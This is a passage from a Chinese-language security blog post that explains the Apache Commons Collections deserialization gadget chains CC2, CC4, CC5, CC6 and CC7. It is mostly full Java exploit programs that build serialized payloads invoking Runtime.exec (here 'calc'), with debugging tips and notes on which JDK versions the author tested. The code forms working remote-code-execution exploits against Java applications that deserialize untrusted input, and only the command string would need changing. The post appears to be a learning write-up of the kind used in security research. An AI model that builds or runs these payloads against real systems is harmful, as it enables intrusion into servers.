new InvokerTransformer("newTransformer", null, null)
});


HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));


// 调用方式CC1lazyMap
// Class<?> invocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Constructor<?> handlerConstructor = invocationHandler.getDeclaredConstructor(Class.class, Map.class);
// handlerConstructor.setAccessible(true);
// InvocationHandler handler = (InvocationHandler) handlerConstructor.newInstance(Retention.class, lazyMap);
// Map map = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), handler);
// Object o = handlerConstructor.newInstance(Retention.class, map);

// CC6前半段链
HashMap<Object,Object> hashMap1 = new HashMap<>();
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "luc1fer");
hashMap1.put(tiedMapEntry,"luc1fer");
lazyMap.clear();

Field factory = LazyMap.class.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);


File file = new File("cc3_cc6.bin");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
oos.writeObject(hashMap1);
// ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
// ois.readObject();

}
}

构造EXP可能会存在的问题:

  • CC6前半部分调用链反射设置ChainedTransformer

CC6前半部分要通过反射设置chainedTransformer,否则会报错ClassNotFound.

  • CC6前半部分调用链添加nameArray解决报错问题

在序列化时会报错,在自己写的恶意类中的构造方法添加this.namesArray = new String[]{"test"};,可以让序列化和反序列化都不报错,使用CC6链的前半部分链可以解决高版本无法运行的问题。

image-20240626161423669

CommonsCollections2

注意这个CC2链必须是CommonsCollections4.0才有的漏洞,因为在之前的版本中TransformingComparator没有实现序列化接口。

1
2
3
4
5
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

image-20240627181657178

下面就是整条链,主要是PriorityQueuereadObject()会调用到transform方法

CC2

EXP如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package cn.luc1fer;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC2 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
new ConstantTransformer("luc1fer")
});
TransformingComparator transformingComparator = new TransformingComparator<>(new Transformer() {
@Override
public Object transform(Object o) {
return o;
}
});
PriorityQueue<Object> queue = new PriorityQueue<>(10,transformingComparator);
queue.add("luc1fer");
queue.add("moody");

Field transformerField = TransformingComparator.class.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator,chainedTransformer);

// 序列化
File file = new File("cc2.bin");
// ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
// oos.writeObject(queue);

// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
ois.readObject();
}
}

注意的问题:

image-20240627183917834

需要保证size >>> 1结果大于等于1,size为2时刚好满足,所以向队列里put两个对象。

在构造ChainedTransformer时,最后添加new ConstantTransformer("luc1fer")可以防止ProcessImpl不可反序列化报错。

CommonsCollections4

CC4是CC2的变种,也是基于CommonsCollections4.0,CC2是基于PriorityQueue.readObject调用compare(),CC4是通过TreeBag.readObject调用TreeMap.put()然后调用compare()compare调用transform()

CC4

EXP(在8u371也测试成功):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;

public class CC4 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
new ConstantTransformer("luc1fer")
});
TransformingComparator transformingComparator = new TransformingComparator<>(new Transformer() {
@Override
public Object transform(Object o) {
return o;
}
});
TreeBag<Object> treeBag = new TreeBag<>(transformingComparator);
treeBag.add("luc1fer");
Field transformerField = TransformingComparator.class.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator,chainedTransformer);


// 序列化
File file = new File("cc4.bin");
// ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
// oos.writeObject(treeBag);
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
ois.readObject();
}
}

这里很简单没什么需要注意的。

CommonsCollections5

在CC5链中因为BadAttributeValueExpException.readObject()方法会调用BadAttributeValueExpException.val.toString()TiedMapEntry.toString()会调用getValue()之后就会调用map.get()触发CC1中LazyMap那条链。

CC5

这条链也比较简单。但是这里需要注意一个问题:

要在BadAttributeValueExpException初始化之后再通过反射注入val的值。

image-20240627214635024

如果直接在初始化的时候注入值,会在构造方法中调用toString()导致反序列化的时候直接返回字符串。

image-20240627215546430

EXP(在8u371也测试成功):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51


import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

public class CC5 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
new ConstantTransformer("luc1fer")
});

LazyMap<Object, Object> lazyMap = LazyMap.lazyMap(new HashMap<>(), new Transformer<Object, Object>() {
@Override
public Object transform(Object o) {
return null;
}
});
TiedMapEntry<Object, Object> tiedMapEntry = new TiedMapEntry<>(lazyMap,"luc1fer");
Field factoryField = LazyMap.class.getDeclaredField("factory");
factoryField.setAccessible(true);

factoryField.set(lazyMap,chainedTransformer);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException,tiedMapEntry);
// 序列化
File file = new File("cc5.bin");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
oos.writeObject(badAttributeValueExpException);
// 反序列化
// ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
// ois.readObject();
}
}

CommonsCollections7

CC7在ysoserial中的调用链如下:

HashTablereadObject()中会调用reconstitutionPut(),在该方法中会调用key.equals(),HashTable中放入两个LazyMap作为key,且这两个lazyMap的hash必须相同,否则散列之后的index位置上为null将不会进入for循环。这两个lazyMap不能相同,相同的话hashTable.put()会将就元素替换掉,而不是新添加进去。

lazyMap.hashCode()其实就是将lazyMap中的key-value循环运算Objects.hashCode(key) ^ Objects.hashCode(value)并相加,为了简便我们只需要向lazyMap中放一个key-value就行。

image-20240628211846955

image-20240628212015718

随手测试了一个就相等,当然也可以遍历字符跑一下:

1
2
3
4
5
6
7
8
import java.util.Objects;

public class CC7test {
public static void main(String[] args) {
System.out.println(Objects.hashCode("1") ^ Objects.hashCode(1));
System.out.println(Objects.hashCode("3") ^ Objects.hashCode(3));
}
}

这里有一个问题需要注意:

image-20240629132142157

在执行hashtable.put(lazyMap2,2)的时候因为lazyMap1lazyMap2hash相等所以会触发AbstractMap.quals()进而到LazyMap.get()

image-20240629132419845

image-20240629132735276

LazyMap.get()方法中会将key和value添加到map中,如果添加之后在反序列化的时候hash就会变化,无法触发。所以要在下面添加lazyMap2.remove("1").

具体的EXP如下(8u371测试成功):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package cn.luc1fer;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
public static void main(String[] args) throws NoSuchFieldException,
IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] fakeformers = new Transformer[]{new
ConstantTransformer(2)};
Transformer[] transforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,
Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class,
Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new
Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new
ChainedTransformer(fakeformers);
Map innerMap1 = new HashMap();
innerMap1.put("1",1);
Map innerMap2 = new HashMap();
innerMap2.put("3",3);
Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,2);
lazyMap2.remove("1");

Class clazz = ChainedTransformer.class;
Field field = clazz.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer,transforms);
FileOutputStream fileOutputStream = new FileOutputStream(new File("cc7.bin"));
ObjectOutputStream oos = new ObjectOutputStream(fileOutputStream);
oos.writeObject(hashtable);
oos.close();
// ObjectInputStream ois = new ObjectInputStream(new
// ByteArrayInputStream(bos.toByteArray()));
// ois.readObject();
}
}

但是我发现在HashTable中的readObject() 也调用了key.hashCode(),然后就可以将CC6中的hashMap替换为HashTable。其实和CC6感觉没什么区别,只不过用HashTable去触发key.hashCode().

EXP(8u371测试成功):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7hashCode {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Hashtable<Object, Object> hashtable = new Hashtable<>();
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new Transformer() {
@Override
public Object transform(Object o) {
return null;
}
});
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "luc1fer");
hashtable.put(tiedMapEntry,"luc1fer");
lazyMap.clear();

Field factoryField = LazyMap.class.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);

File file = new File("cc7_hashCode.bin");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
oos.writeObject(hashtable);

ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
ois.readObject();
}
}

写在最后

​ 在调试的过程中可能会遇到各种问题,比如版本的问题,在官网下载jdk之后要仔细看清楚版本,国内Oracle官网可能会出现一些问题。在写构造序列化内容时不总是一帆风顺的,总有序列化之后弹不出计算器的时候,调试+思考是解决问题的关键,CC链就先到这吧。